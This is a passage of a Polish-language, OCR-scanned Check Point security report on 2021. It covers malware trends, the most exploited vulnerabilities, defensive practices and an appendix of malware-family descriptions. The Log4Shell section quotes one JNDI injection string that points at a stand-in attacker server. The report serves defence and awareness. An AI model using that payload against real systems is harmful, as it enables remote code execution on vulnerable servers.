krokiem byta przeprowadzona na szeroka skale kampania spamowa wykorzystujaca to
ztosliwe oprogramowanie w celu kradziezy danych oraz w roli botnetu, jednoczesnie
rozprzestrzeniajac ztosliwe oprogramowanie SquirrelWaffle. W ostatniej kampanii
przestepcy wykorzystali makra Visual Basic i Excel 4.0. W listopadzie nastapit etap

monetyzacji kampanii, ktory rozpoczat sie od instalacji oprogramowania ransomware

Conti na urzadzeniach ofiar.

Dridex, kolejny przyktad ztosliwego oprogramowania wykradajacego dane bankowe,
obecnie posiada funkcje kradziezy danych i botnetu, zanotowat w tym roku spadek
popularnosci. Jednak we wrzesniu badacze wykryli nowy wariant oprogramowania
Dridex z rozszerzonymi mozliwosciami gromadzenia informacji, rozprzestrzeniajacy

sie w ramach kampanii phishingowej zawierajacej specjalnie spreparowane dokumenty
programu Microsoft Excel. Ponadto, w grudniu Dridex byt jednym z pierwszych ztosliwych

programow, ktdre zostaty rozpowszechnione w kampanii wykorzystujacej do infekcji luke

w zabezpieczeniach Log4j.
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ANALIZA ZtOSLIWEGO OPROGRAMOWANIA NA
URZADZENIA MOBILNE

Hiddad, ztosliwe oprogramowanie wyswietlajace reklamy, dziatajace na urzadzenia

pracujace pod kontrola systemu Android, ktérego twdrcy wykorzystali tematyke

pandemii COVID-19, utrzymato swoje miejsce na szczycie rankingu, wraz z
oprogramowaniem xHelper, ktorego udziat w rynku ztosliwego oprogramowania
zmniejszyt sie 0 25% w poréwnaniu z rokiem 2020. W tym roku po raz pierwszy w rankingu
znalazty sie dwie inne rodziny ztosliwego oprogramowania, a takze dwie dotychczas

nieobserwowane rodziny - AlienBot i FluBot.

AlienBot to ztosliwe oprogramowanie bankowe dziatajace na urzadzeniach z systemem
Android, dystrybuowane przez przestepcéw w modelu malware-as-a-service. Ztosliwe
oprogramowanie umozliwia atakujacemu zdalne wstrzykniecie dowolnego kodu do
standardowych aplikacji bankowych, a tym samym uzyskanie dostepu do kont ofiar i w
przejecie kontroli nad ich urzadzeniami. W marcu zespét Check Point Research wykryt
nowy dropper o nazwie Clast82, dystrybuowany za posrednictwem sklepu Google Play
Store, ktory instaluje ztosliwe oprogramowanie AlienBot na urzadzeniach ofiar. Dropper
wykorzystuje szereg technik, aby uniknac wykrycia przez mechanizmy zabezpieczajace
Google Play Protect. W czasie okresu ewaluacji wykorzystywane sa nieztosliwe dane,

natomiast po uzyskaniu pozytywnej oceny dane sa podmieniane na modut AlienBot.

FluBot, kolejne ztosliwe oprogramowanie bankowe przeznaczone na urzadzenia z

systemem Android, pojawito sie pod koniec 2020 roku.Celem jego dziatania byli

uzytkownicy w Europie, ktérzy padali ofiarami infekcji za posrednictwem wiadomosci SMS
wysytanych z zainfekowanych urzadzen. Kampanie rozprzestrzeniania oprogramowania
FluBot opieraja sie na kreatywnych pomystach. Na przyktad kampania, ktora byta
skierowana do uzytkownikéw w Finlandii w czerwcu i listopadzie wykorzystata motyw
poczty gtosowej, proszac ofiary o odstuchanie wiadomosci za posrednictwem odnosnika
przestanego przez rzekomego operatora sieci. Jak na ironie, kampania skierowana

do uzytkownikéw z Nowej Zelandii zawierata informacje na temat bezpieczenstwa,

ostrzegajaca ofiary przed infekcjami FluBotem.
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06

NAJWAZNIEJSZE
PODATNOSCI
O ZASIEGU GLOBALNYM

WIELE LUKW ZABEZPIECZENIACH ODKRYTYCH JESZCZE

W 2017 ROKU WCIAZ BYtO WYKORZYSTYWANE PRZEZ CALY
ROK 2021, WYPRZEDZAJAC NAJNOWSZE ODKRYCIA BADACZY
ZAJMUJACYCH SIE BEZPIECZENSTWEM.
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Ponizsza lista najpopularniejszych podatnosci powstata w oparciu o dane zebrane
przez sie¢ czujnikéw Check Point Intrusion Prevention System (IPS) i wyszczegdlnia
niektdre sposrdd najpopularniejszych i najciekawszych technik atakéw i exploitéw

zaobserwowanych przez badaczy Check Point w 2021 roku.

LOGASHELL - ZDALNE WYKONANIE KODU APACHE
LOG4J (CVE-2021-44228)

Apache Log4j to oparty na Javie otwartozrédtowy pakiet do gromadzenia logéw,
udostepniany przez Apache Software Foundation jako czes¢ Apache Logging Services.
Jest to najpopularniejsza biblioteka pozwalajaca na gromadzenie logéw napisana w jezyku

Java, wykorzystywana przez miliony aplikacji napisanych w Javie do rejestrowania

dziatan, takich jak rutynowe operacje systemowe i komunikaty o btedach, oraz do
wysytania diagnostyki do administratoréw systemu. W dniu 9 grudnia Apache Foundation
udostepnita poprawiona wersje rozwiazania Log4j, ktdra usuwata krytyczny btad w
module logowania. Odkryta podatno$é umozLliwita atakujacym wystanie prostego

ciagu znakdw, takiego jak ${jndi:ldap://attacker_server/path} jako cze$ci zadania HTTP,
User-Agent lub dowolnych innych danych wejsciowych rejestrowanych przez serwer za
pomoca Log4j. Kontrolujac komunikaty rejestrowane za pomoca modutu, atakujacy mdgt
uruchomié dowolny kod ze zdalnego serwera. Podatnosc nazwana Log4Shell wywotata
burze w spotecznosci ekspertdw zajmujacych sie bezpieczenstwem ze wzgledu na
potencjalne niszczycielskie skutki dla wielu miliondw firm korzystajacych z rozwiazania

Logé4j, w tym Cisco, Twitter, Cloudflare, Tesla, Amazon i Apple. Szybko zaobserwowano

przypadki wykorzystywania luki na szeroka skale, zarowno przez nisko wykwalifikowanych

napastnikow, ktdrzy uzywali jej w celu rozprowadzania kryptominerdw, jak i przez

sponsorowane przez stuzby panstwowe grupy APT, ktdre za jej pomoca staraty sie
uzyskac dostep do sieci korporacyjnych. Wedtug badan firmy Check Point w 2021 roku
okoto 48,3% organizacji odnotowato proby wykorzystania luki Log4Shell.
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PROXYLOGON - OBEJSCIE UWIERZYTELNIANIA
MICROSOFT EXCHANGE SERVER (CVE-2021-26855])

ProxylLogon to nazwa nadana przez badaczy z DEVCORE luce w zabezpieczeniach (CVE-
2021-26855), ktéra zostata po raz pierwszy odkryta i zgtoszona pod koniec 2020 roku.

W potaczeniu z innymi lukami (CVE-2021-26857, CVE-2021-26858, CVE-2021-27065),
tancuch infekcji moze doprowadzi¢ do zdalnego wykonania kodu na kazdym niezatatanym
serwerze Exchange. Podatnos¢ ProxylLogon zostata wykorzystana do atakdw przez kilka
grup APT. W sierpniu grupa Earth Baku uruchomita w regionie Indii i Pacyfiku kampanie
wykorzystujaca wstrzykiwanie kodu SQL oraz exploity podatnosci ProxyLogon jako
wektory ataku. We wrzesniu grupa FamousSparrow wykorzystata luke oraz backdoora
SparrowDoor w sieciach hoteli, na serwerach rzaddw i przedsiebiorstw, a takze w wielu

innych sektorach na catym swiecie. Grupa SquirrelWaffle dokonata szeregu wtaman

na serwery Microsoft Exchange za pomoca podatnosci ProxyShell i ProxyLogon w celu

rozprzestrzeniania ztosliwego oprogramowania poprzez ztosliwe wiadomosci e-mail.

ATLASSIAN CONFLUENCE - ZDALNE WYKONANIE
KODU (CVE-2021-26084])

Krytyczna podatnosc w rozwiazaniach Atlassian Confluence Server oraz Confluence
Data Center pozwalajaca na zdalne wykonanie kodu, upubliczniona w sierpniu 2021
roku, opiera sie na Object Graph Navigation Language. Mozna ja wykorzysta¢ bez
uwierzytelniania, co pozwala zdalnemu napastnikowi na wykonanie dowolnego kodu

w dowolnym systemie, ktory nie zostat zaktualizowany do najnowszej wersji. Spotka
Atlassian udostepnita poprawki, pojawito sie takze kilka exploitow typu Proof of
Concept. Przestepcy nastepnie skanowali serwery w poszukiwaniu podatnosci, ktéra
wykorzystywali w celu instalacji kryptomineréw. We wrzesniu oprogramowanie zOMiner

zostato wykorzystane do kopania kryptowalut na podatnych maszynach. W pazdzierniku

zaobserwowano, ze operator ransomware Atom Silo wykorzystuje niezatatane maszyny

do przeprowadzania atakow ransomware.

CHECK POINT SOFTWARE | RAPORT BEZPIECZENSTWA 2022 < 56 >


https://proxylogon.com/
https://gbhackers.com/earth-baku-apt-hackers/
https://www.darkreading.com/threat-intelligence/famoussparrow-apt-group-flocks-to-hotels-governments-businesses
https://www.trendmicro.com/en_us/research/21/k/Squirrelwaffle-Exploits-ProxyShell-and-ProxyLogon-to-Hijack-Email-Chains.html
https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html
https://cyberintelmag.com/cloud-security/atlassian-confluence-flaw-actively-exploited-to-install-cryptominers/
https://www.zdnet.com/article/this-cryptocurrency-miner-is-exploiting-the-new-confluence-remote-code-execution-bug/
https://news.sophos.com/en-us/2021/10/04/atom-silo-ransomware-actors-use-confluence-exploit-dll-side-load-for-stealthy-attack/

ROZDZIAL 6
2021 - 2%
2011 ||| N >

Ryc. 34: Odsetek atakow wykorzystujacych luki w zabezpieczeniach wedtug roku ujawnienia w 2021 roku

Wiele luk w zabezpieczeniach odkrytych jeszcze w 2017 roku wciaz byto wykorzystywane
przez caty rok 2021. Dzieje sie tak gtdwnie z powodu popularnych bteddw, takich jak

zdalne wykonywanie kodu w Apache Struts2 (CVE-2017-5638) wykorzystywanym w

botnecie Mirai, czy tez podatno$¢ pozwalajaca na zdalne wykonanie kodu w PHPUnit (CVE-

2017-9841), czesto stosowana do atakowania podatnych wtyczek WordPress.

Luki w zabezpieczeniach odkryte w 2020 roku wciaz liczyty sie na rynku - wykorzystano je
w 11% atakow. Wsrdd najwazniejszych sposrdd nich mozna wymieni¢ podatnosci oparte
na przepetnieniu bufora w urzadzeniach z serii Draytek Vigor (CVE-2020-10826, CVE-
2020-10827, CVE-2020-10828), ktére odpowiadaty za 41% atakéw na organizacje. Te luki
moga zosta¢ wykorzystane do uruchomienia dowolnego kodu na podatnych routerach

Draytek za pomoca specjalnie spreparowanego zdalnego zadania HTTP.
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Ryc. 35: Odsetek atakow wykorzystujacych luki w zabezpieczeniach wedtug roku ujawnienia
w poszczegdlnych miesiacach.

W 2021 roku zaobserwowalismy wolniejsze dostosowywanie podatnosci w poréwnaniu z
poprzednimi latami. Wykres pokazuje, ze luki w zabezpieczeniach odkryte w 2021 roku
byty wykorzystywane przez hakerdw dopiero od potowy roku, co zbiegto sie w czasie z

niewielkim spadkiem wykorzystania podatnosci z roku 2017.
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ZAPOBIEGANIE ZAGROZENIOM - ZAPOBIEGANIE
ATAKOM ZANIM DO NICH DOJDZIE

Jednym z najwiekszych wyzwan stojacych przed ekspertami zajmujacymi sie
bezpieczenstwem sa ataki V generacji taczace szerokie spektrum zagrozen, ataki

na szeroka skale oraz duza powierzchnie ataku. Kompleksowa ochrona wymaga
dopracowanego podejscia, ktére pozwala na zapobieganie atakom zanim do nich dojdzie.
Celem jest powstrzymanie wszystkich atakdw oraz zabezpieczenie kazdego mozliwego
wektora ataku. Architektura bezpieczenstwa, ktéra umozliwia i utatwia stworzenie
jednolitej i spdjnej infrastruktury ochrony, zapewni bardziej kompleksowe bezpieczenstwo
i lepsze mozliwosci obrony niz infrastruktura ztozona z elementdéw, ktére nie sa w stanie
ze soba wspodtpracowad. To gtdwna zaleta systemu Check Point Infinity — architektury

bezpieczenstwa, ktéra pozwala zapobiegac atakom zanim nastapia.

OCHRONA BIZNESU PRZED ZAAWANSOWANYM|
ATAKAMI| DZIEKI INFORMACJOM 0O ZAGROZENIACH W
CZASIE RZECZYWISTYM

Biorac pod uwage wspdtczesny krajobraz bezpieczenstwa, w ktérym eksperci zmagaja
sie z poteznymi atakami na tancuchy dostaw oprogramowania oraz nowymi przyktadami
ztosliwego oprogramowania, kluczowego znaczenia nabieraja informacje o zagrozeniach
i mozliwosci szybkiego reagowania. Kompleksowy dostep do danych pozwalajacy na
proaktywne eliminowanie zagrozen, zarzadzane ustugi bezpieczefnstwa umozliwiajace
monitorowanie sieci oraz mozliwosci reagowania na incydenty w celu szybkiego
reagowania na ataki i usuwania ich skutkdw maja kluczowe znaczenie dla utrzymania
ciagtosci dziatalnosci firm i organizacji w 2022 roku. Ztosliwe oprogramowanie stale sie
rozwija, w zwiazku z czym dostep do informacji na temat zagrozen staje sie niezbednym
narzedziem, ktdrego wykorzystanie powinna bra¢ pod uwage niemal kazda firma. Gdy
organizacja musi dbac o swoje zasoby finansowe i ludzkie, wtasnos¢ intelektualna oraz
inne kluczowe dane, bardziej kompleksowe podejscie do kwestii bezpieczenstwa jest
jedynym realnym sposobem ochrony przed wspétczesnymi napastnikami. Co wiecej,
jednym z najskuteczniejszych dostepnych obecnie proaktywnych rozwiazan w zakresie
bezpieczenstwa jest dostep do informacji na temat zagrozen. Tego rodzaju rozwiazania
musza obejmowac wszystkie wektory ataku, w tym ustugi w chmurze, urzadzenia
mobilne, sieci, stacje robocze oraz rozwiazani loT - innymi stowy, wszystkie mozliwosci
ataku wystepujace w przedsiebiorstwach. Informacje na temat zagrozen to nie tylko dane
- to takze praktyka, na ktdrej powinna opierac sie transformacja w kierunku podejscia
opartego na zapobieganiu atakom i blokowaniu napastnikéw zanim beda w stanie uzyskac
dostep do sieci. Celem jest uzyskanie najlepszego wspdtczynnika wychwytywania znanych
i nieznanych zagrozen oraz osiagniecie niemal zerowego wspdtczynnika fatszywych

alarmaéw, przy jednoczesnym zapewnieniu ciagtosci pracy uzytkownikdow.
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ZABEZPIECZANIE WSZYSTKICH POTENCJALNYCH
CELOW ATAKU

Aby lepiej dbac¢ o bezpieczenstwo, organizacje powinny poszukiwaé jednego rozwiazania,
ktére obejmie wszystkie powierzchnie i wektory ataku. W $rodowisku hybrydowym, w
ktérym trudno wyznaczy¢ konkretne granice, zabezpieczenia powinny by¢ w stanie chronic

wszystkie jego elementy sktadowe.

Poczta elektroniczna, przegladanie stron internetowych, serwery oraz magazyny danych
to dopiero poczatek. Aplikacje mobilne, chmura i zewnetrzne pamieci masowe sa obecnie
podstawa, podobnie jak zapewnienie zgodnosci urzadzen mobilnych i stacji roboczych
oraz stale rosnaca liczba urzadzen loT. Obciazenia robocze, kontenery i aplikacje
bezserwerowe w srodowiskach wielochmurowych oraz hybrydowych powinny réwniez
znajdowac sie na liscie kontrolnej bezpieczenstwa. Wraz z szybka transformacja w
kierunku chmur obliczeniowych i hybrydowych modeli pracy jeszcze wazniejsze stato sie

posiadanie solidnej strategii bezpieczenstwa.

KORZYSCI KOMPLEKSOWEJ | JEDNOLITEJ
ARCHITEKTURY

Kompleksowa widocznos¢ catej sieci, uzyskana dzieki konsolidacji, jest obecnie
niezbedna do ochrony przed coraz bardziej wyrafinowanymi atakami.

Wiele firm prébuje budowac¢ swoje zabezpieczenia, wykorzystujac szereg produktéw
wielu dostawcow, jednak w wielu przypadkach takie rozproszenie technologii powoduje
powstawanie nieprzewidzianych luk w zabezpieczeniach. Takie podejscie prowadzi
rowniez do zwiekszenia kosztow - praca z wieloma systemami i dostawcami zamiast

z jednym zintegrowanym rozwiazaniem potrafi bardzo szybko doprowadzi¢ do wzrostu
rachunkdow. W celu osiagniecia petnego bezpieczenstwa, organizacje powinny zatem
postawic¢ na kompleksowa i wielowarstwowa ochrone wszystkich obszaréw, w tym sieci,
stacji roboczych, rozwiazan chmurowych, urzadzen mobilnych i loT. Ponadto ochrona
kazdego z tych obszaréw powinna opierac sie na tej samej architekturze zabezpieczen

oraz tych samych danych o zagrozeniach przekazywanych w czasie rzeczywistym.
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PANDEMIA BIOLOGICZNA A CYBERPANDEMIA

Podobieristwa i paralelizmy, wyciagnigte wnioski

PANDEMIC

INFECTION RATE

Virus infection rate (Ro) (source: WHO)

The average number of people that one person
with a virus infects:

Flu: 1.3, SARS: 2-4, Corona: 2.5,

Ebola: 1.6-2, Zika: 2-6.6, Measles: 11-18

INFECTION PREVENTION

Best treatment: Vaccination

Dealing with Infection Best Practices:
1) Quarantine, Shelter-in-Place

2) Isolation

3] Contact Tracing

SAFETY BEST PRACTICES

Common treatment (until vaccination):
1) Mask

2) Hygiene

3] Social Distancing

DBANIE O HIGIENE
BEZPIECZENSTWA

o Instalowanie aktualizacji: W zbyt wielu
przypadkach napastnicy sa w stanie omina¢
zabezpieczenia i systemy obronne wykorzystujac
znane luki, ktdre zostaty juz zatatane, jednak
odpowiednie poprawki nie zostaty jeszcze
zainstalowane. Organizacje powinny dazy¢ do
tego, aby wszystkie systemy oraz rozwiazania byty
nieustannie aktualizowane do najnowszych wersji

oprogramowania.

o Segmentacja: Sieci nalezy podzieli¢ na segmenty,
oddzielajac je silnymi zaporami sieciowymi
i zabezpieczeniami IPS, aby uniemozliwié
ztosliwemu oprogramowaniu rozprzestrzenianie

sie w catej sieci.

/ fo)loX

S,

PANDEMIC

INFECTION RATE
* Malware infection rate (Ro) The average number
of hosts that one host with a malware infects:
Cyber attack: >27 (source: WEF, NSTU)
Slammer: Doubled in size every 8.5 seconds
Code Red: 2,000 new hosts per minute

oo INFECTION PREVENTION
Best treatment: Real Time Prevention
Best Practices: Continuous process of:
1) Quarantine: Sandboxing, Micro-Segmentation
2) Isolation: Zero Trust, Segregation
3) Tracing: Threat Intelligence, Al, SOC,
Posture Management

SAFETY BEST PRACTICES

1) Awareness: Think before you click...

2) Cyber Hygiene: Patches, Compliance...

3) Asset Distancing: Network Segmentation,
Multi-Factor Authentication...

¢ Szkolenie pracownikow w zakresie

rozpoznawania potencjalnych zagrozen:
Edukacja uzytkownikow zawsze stanowita
kluczowy element w zapobieganiu infekcjom
ztosliwym oprogramowaniem. Podstawowe
informacje o tym, skad pochodza pliki, dlaczego
pracownik je otrzymuje i czy moze zaufac
nadawcy sa nadal uzytecznymi narzedziami,

z ktérych pracownicy powinni korzystac

przed otwarciem plikéw i wiadomosci e-mail.
Najczestszymi metodami infekcji stosowanymi
w kampaniach ransomware sa nadal spam i
wiadomosci phishingowe. Czesto Swiadomosé
uzytkownika moze zapobiec atakowi, zanim on
nastapi. Nalezy poswiecic czas na edukacje
uzytkownikdw i dopilnowac, aby w przypadku
zauwazenia nietypowych wiadomosci czy
zachowan natychmiast zgtaszali to zespotom ds.

bezpieczenstwa.
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o Przeglady zasad: Zasady wykorzystywane przez

produkty zabezpieczajace nalezy doktadnie
analizowad, a takze stale monitorowac¢ dzienniki

zdarzen i alerty.

Audyty: We wszystkich systemach powinny
by¢ przeprowadzane rutynowe audyty i testy

penetracyjne.

Zasada najmniejszego uprzywilejowania:
Uprawnienia uzytkownikéw i oprogramowania
powinny byé ograniczone do minimum - czy
naprawde istnieje potrzeba, aby wszyscy
uzytkownicy mieli prawa administratora na swoich

urzadzeniach?

Wdrazanie najbardziej zaawansowanych
technologii bezpieczenstwa: Nie istnieje
jedna technologia, ktdra chronitaby przed
wszystkimi zagrozeniami i wszystkimi
wektorami atakéw. Dostepnych jest jednak
wiele doskonatych technologii i koncepcji -

uczenie maszynowe, sandboxing, wykrywanie

anomalii, rozbrajanie probek i wiele innych
rozwiazan. Kazda z tych technologii moze byc
bardzo skuteczna w okreslonych scenariuszach,
obejmujacych okreslone typy plikdw lub

wektory atakow. Skuteczne rozwiazania tacza

w sobie szeroki zakres technologii i innowacji

w celu skutecznego zwalczania nowoczesnych
atakow w srodowiskach. Oprdcz tradycyjnych
zabezpieczen opartych na sygnaturach, takich
jak programy antywirusowe i IPS, organizacje
musza wprowadzi¢ dodatkowe warstwy ochronne
w celu ochrony przed nowym, nieznanym
ztosliwym oprogramowaniem, ktére nie ma
znanych sygnatur. Dwa kluczowe elementy,
ktére warto wtaczy¢ do swojego arsenatu
obronnego, to ekstrakcja zagrozen (sanityzacja
plikéw) i emulacja zagrozen (zaawansowany
sandboxing). Kazdy z elementéw stanowi odrebna
warstwe ochronna, ktérych potaczenie pozwala
na kompleksowa ochrone przed nieznanym
ztosliwym oprogramowaniem na poziomie sieci i

bezposrednio na urzadzeniach uzytkownikow.
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Zgodnie z przewidywaniami, w roku, ktory rozpoczat sie od walki ze skutkami jednego

z najbardziej niszczycielskich atakéw na tancuch dostaw oprogramowania w historii,
obserwujemy wzrost pewnosci siebie cyberprzestepcéw oraz coraz bardziej wyrafinowane
ataki. Pod koniec roku obserwowalismy przypadki wykorzystania podatnosci w pakiecie
Log4j, co po raz kolejny zaskoczyto ekspertéw zajmujacych sie cyberbezpieczenstwem

i zwrocito uwage na poziom ryzyka nieodtacznie zwiazany z taricuchami dostaw
oprogramowania. W miedzyczasie byliSmy swiadkami atakéw na ustugi w chmurze,
wzrostu zainteresowania cyberprzestepcéw urzadzeniami mobilnymi, zaptaty okupu

po ataku na rurociag Colonial Pipeline oraz odrodzenia sie jednego z najgrozniejszych
botnetéw w historii.

Mimo to, nie wszystkie wiadomosci sa réwnie ponure. W 2021 roku byliSmy rowniez
Swiadkami kolejnych problemdw w ekosystemie oprogramowania ransomware, poniewaz
rzady i organy scigania na catym swiecie postanowity dziatac¢ bardziej proaktywnie
wzgledem grup dziatajacych w tym sektorze. Po latach reagowania na ataki i usuwania
ich skutkdw, pewne szokujace wydarzenia uswiadomity rzadom, ze musza przyjac
bardziej prewencyjne, proaktywne podejscie do radzenia sobie z cyberzagrozeniami. Ta
sama filozofia dotyczy réwniez przedsiebiorstw, ktére nie moga juz sobie pozwolié na
chaotyczne, zamkniete i reaktywne podejscie do radzenia sobie z zagrozeniami.

Dzis$ potrzebuja petnej widocznosci, informacji o zagrozeniach w czasie rzeczywistym oraz
infrastruktury bezpieczenstwa, ktéra mozna wykorzysta¢ w skuteczny,

kompleksowy sposob.



ANEKS
OPISY RODZIN ZEOSLIWEGO
OPROGRAMOWANIA
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AgentTesla

AgentTesla to zaawansowany trojan zdalnego dostepu (RAT), ktdry posiada funkcje
keyloggera i narzedzia do wykradania haset. Jest aktywny od 2014 roku. AgentTesla moze
monitorowac i zbiera¢ dane wprowadzane z klawiatury ofiary i schowka systemowego,

a takze zapisywac zrzuty ekranu i pozyskiwaé dane uwierzytelniajace do réznych
programow zainstalowanych na komputerze ofiary (w tym przegladarek Google Chrome

i Mozilla Firefox oraz klienta poczty elektronicznej Microsoft Outlook). Oprogramowanie
AgentTesla jest sprzedawane na réznych gietdach internetowych i forach hakerskich.

AlienBot

AlienBot jest trojanem bankowym opracowanym z mysla o systemie Android,
sprzedawanym w $rodowiskach przestepczych w modelu Malware-as-a-Service

(Maa$S) - ztosliwe oprogramowanie jako ustuga. Pozwala na monitorowanie klawiatury
ofiary, oferuje dynamiczne naktadki do kradziezy danych uwierzytelniajacych, a takze
przechwytywanie wiadomosci SMS w celu ominiecia uwierzytelniania dwusktadnikowego.
Dodatkowe mozliwosci zdalnego sterowania zapewnia dzieki modutowi TeamViewer.

Odkryte w 2020 roku programy Bazar Loader i Bazar Backdoor sa wykorzystywane w
poczatkowych etapach infekcji przez gang cyberprzestepcéw WizardSpider. Loader -
modut tadujacy - jest odpowiedzialny za pobieranie kolejnych elementéw ztosliwego
oprogramowania, natomiast backdoor pozwala na utrzymanie dostepu do zaatakowanego
systemu. Po infekcji przestepcy przeprowadzaja zwykle atak oprogramowaniem
ransomware, wykorzystujac w tym celu rodziny Conti lub Ryuk.

CryptoBot

CryptoBot to zaawansowany kryptominer, ktdry po zainfekowaniu zbiera informacje na
temat portfela oraz kont ofiary. W grudniu 2021 roku CryptoBot zostat zaobserwowany w
pirackich kopiach systemu operacyjnego Windows.

ClOp

ClOp to oprogramowanie ransomware, ktdre zostato po raz pierwszy wykryte na
poczatku 2019 roku. Jest wykorzystywane gtédwnie do atakéw przeciwko duzym firmom i
korporacjom. W 2020 roku operatorzy oprogramowania ClOp zaczeli stosowac strategie
podwdjnego wymuszania okupu, w ktorej oprocz szyfrowania danych ofiary atakujacy
groza réwniez opublikowaniem skradzionych informacji, jezeli ofiary ataku nie wptaca
okupu. W 2021 roku oprogramowanie ransomware ClOp zostato uzyte w wielu atakach,
w ktérych poczatkowy dostep uzyskano dzieki wykorzystaniu luk zero-day w rozwiazaniu
Accellion File Transfer Appliance.
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DanaBot

DanaBot to modutowy trojan bankowy napisany w jezyku Delphi z mysla o systemach
operacyjnych z rodziny Windows. Ztosliwe oprogramowanie, ktdre zostato po raz pierwszy
zaobserwowane w 2018 roku, jest dystrybuowane za posrednictwem wiadomosci-

smieci. Po zainfekowaniu urzadzenia ztosliwe oprogramowanie pobiera z serwera
kontroli aktualny kod konfiguracyjny i inne moduty. Dostepne moduty obejmuja sniffer

- oprogramowanie do przechwytywania danych uwierzytelniajacych, stealer - modut do
wykradania haset z popularnych aplikacji, modut VNC pozwalajacy na przejecie kontroli
nad urzadzeniem i wiele innych.

DarkGate

DarkGate to wielofunkcyjne ztosliwe oprogramowanie aktywne od grudnia 2017 roku,
wyposazone w funkcje ransomware, kradziezy danych uwierzytelniajacych, kopania
kryptowalut oraz trojana typu RAT. To oprogramowanie opracowane z mysla o systemach
operacyjnych z rodziny Windows jest w stanie unika¢ wykrycia na wiele sposobdw.

Dridex

Dridex jest trojanem bankowym przeksztatconym w botnet, opracowanym z mysla o
systemach operacyjnych z rodziny Windows. Rozprzestrzenia sie w wyniku kampanii
spamowych oraz w ramach zestawdéw exploitéw. Jego dziatanie opiera sie na modutach
Weblnjects wykorzystywanych w celu przechwycenia i przekierowania danych
uwierzytelniajacych do serwera kontrolowanego przez przestepcow. Dridex kontaktuje sie
ze zdalnym serwerem i wysyta informacje o zainfekowanym systemie. Moze takze pobierac
i uruchamiac dodatkowe moduty umozliwiajace przejecie kontroli nad urzadzeniem.

Emotet

Emotet jest zaawansowanym, samodzielnie rozprzestrzeniajacym sie i modutowym
trojanem. Emotet byt kiedys$ wykorzystywany jako trojan bankowy, a obecnie jest
uzywany jako dystrybutor innego ztosliwego oprogramowania lub ztosliwych kampanii.
Wykorzystuje wiele metod ukrycia infekcji oraz technik unikania wykrycia. Emotet moze
by¢ rozprzestrzeniany za posrednictwem phishingowych wiadomosci zawierajacych
ztosliwe zataczniki lub odnosniki.

FluBot to ztosliwe oprogramowanie opracowane z mysla o systemie Android, ktdre
rozprzestrzenia sie za posrednictwem phishingowych wiadomosci SMS (SMiShing] -
przestepcy najczesciej podszywaja sie pod firmy kurierskie. Po kliknieciu odnosnika
znajdujacego sie w wiadomosci uzytkownik jest przekierowywany do strony pozwalajace;
na pobranie fatszywej aplikacji zawierajacej ztosliwe oprogramowanie FluBot. Po instalac;ji
trojan ma rézne mozliwosci pozyskiwania danych uwierzytelniajacych oraz rozsytania
wiadomosci smishingowych, w tym przesytania listy kontaktdw oraz wysytania wiadomosci
SMS na inne numery telefondéw.
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FlyTrap

FlyTrap to trojan opracowany z mysla o systemie Android, stworzony w celu wykradania
danych uwierzytelniajacych Facebooka, lokalizacji, adresu e-mail, adresu IP i innych
informacji. Trojan pierwotnie rozprzestrzeniat sie za posrednictwem fatszywych aplikacji
w sklepie Google Play, zachecajacych uzytkownikdw do zalogowania sie na swoje konto na
Facebooku. Obecnie oprogramowanie FlyTrap wykorzystuje kod JavaScript wstrzykiwany
w celu przejecia sesji oraz przestania jej szczegotéw do serwera kontroli, umozliwiajac
atakujacym uzyskanie dostepu do konta na Facebooku ze zdalnej lokalizacji.

FormBook

FormBook to infostealer atakujacy system operacyjny Windows, ktéry zostat po raz
pierwszy wykryty w 2016 roku. Na podziemnych forach hakerskich jest on sprzedawany

w modelu Malware-as-a-Service [MaaS), co jest mozliwe dzieki doskonatym

technikom ukrywania infekcji oraz stosunkowo niskiej cenie. FormBook zbiera dane
uwierzytelniajace z réznych przegladarek internetowych, gromadzi zrzuty ekranu,
monitoruje i rejestruje nacisniecia klawiszy oraz moze pobierac i wykonywac pliki zgodnie
z poleceniami z serwera kontroli.

Glupteba

Glupteba to znany od 2011 roku backdoor dla systemu Windows, ktéry stopniowo
przeksztatcit sie w botnet. Do 2019 roku oprogramowanie byto wyposazone w mechanizm
aktualizacji adresow serwerdw kontroli za posrednictwem publicznych rejestrow BitCoin,
zintegrowana funkcje kradziezy danych z przegladarek oraz funkcje atakow na routery.

Ztosliwe oprogramowanie na system Android, ktére pozwala na przepakowanie aplikacji
oraz ich udostepnienie w sklepach z aplikacjami innych firm. Jego gtéwna funkcja jest
wyswietlanie reklam, ale moze on réwniez uzyskaé dostep do kluczowych zabezpieczen
wbudowanych w system operacyjny.

IcedID

IcedID to trojan bankowy, ktory po raz pierwszy zostat zaobserwowany we wrzesniu 2017
roku Rozprzestrzenia sie za posrednictwem kampanii spamowych i czesto wykorzystuje
w tym celu inne ztosliwe oprogramowanie, takie jak Emotet. IcedID wykorzystuje
techniki pozwalajace na ukrywanie infekcji, takie jak wstrzykiwanie kodu do proceséw
oraz steganografia. Trojan wykrada dane finansowe uzytkownikéw za pomoca atakéw
polegajacych na przekierowaniu uzytkownikéw na ztosliwe strony za pomoca lokalnego
serwera proxy, jest w stanie takze wstrzykiwac kod na stronach internetowych.

Kinsing

Odkryte w 2020 roku oprogramowanie Kinsing to kryptominer napisany w jezyku Golang,
wyposazony w elementy rootkita. Zaprojektowany z mysla o atakach na systemy z rodziny
Linux, Kinsing zostat zainstalowany na zaatakowanych serwerach dzieki wykorzystaniu
luk w ustugach internetowych. W 2021 roku pojawit sie nowy wariant tego ztosliwego
oprogramowania dla systemu Windows, co pozwolito atakujacym zwiekszy¢ mozliwosci
przeprowadzania atakéw.
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LemonDuck

LemonDuck to kryptominer odkryty po raz pierwszy w 2018 roku, opracowany z mysla
o systemach operacyjnych z rodziny Windows. Jest wyposazony w zaawansowane
moduty rozprzestrzeniania pozwalajace na wysytanie wiadomosci-Smieci ze ztosliwym
oprogramowanie, tamanie zabezpieczen RDP i masowe wykorzystywanie znanych luk w
zabezpieczeniach, takich jak BlueKeep. Badacze zaobserwowali, ze LemonDuck zbiera
takze adresy e-mail i dane uwierzytelniajace, a takze dostarcza inne rodzaje ztosliwego
oprogramowania, takie jak Ramnit.

LokiBot

LokiBot to ztosliwe oprogramowanie wykradajace dane, opracowane z mysla o systemach
operacyjnych z rodziny Windows. Pobiera dane uwierzytelniajace z réznych aplikacji,
przegladarek internetowych, klientéw poczty elektronicznej, narzedzi administracyjnych
IT, takich jak PuTTY, a takze innego oprogramowania. LokiBot byt sprzedawany na

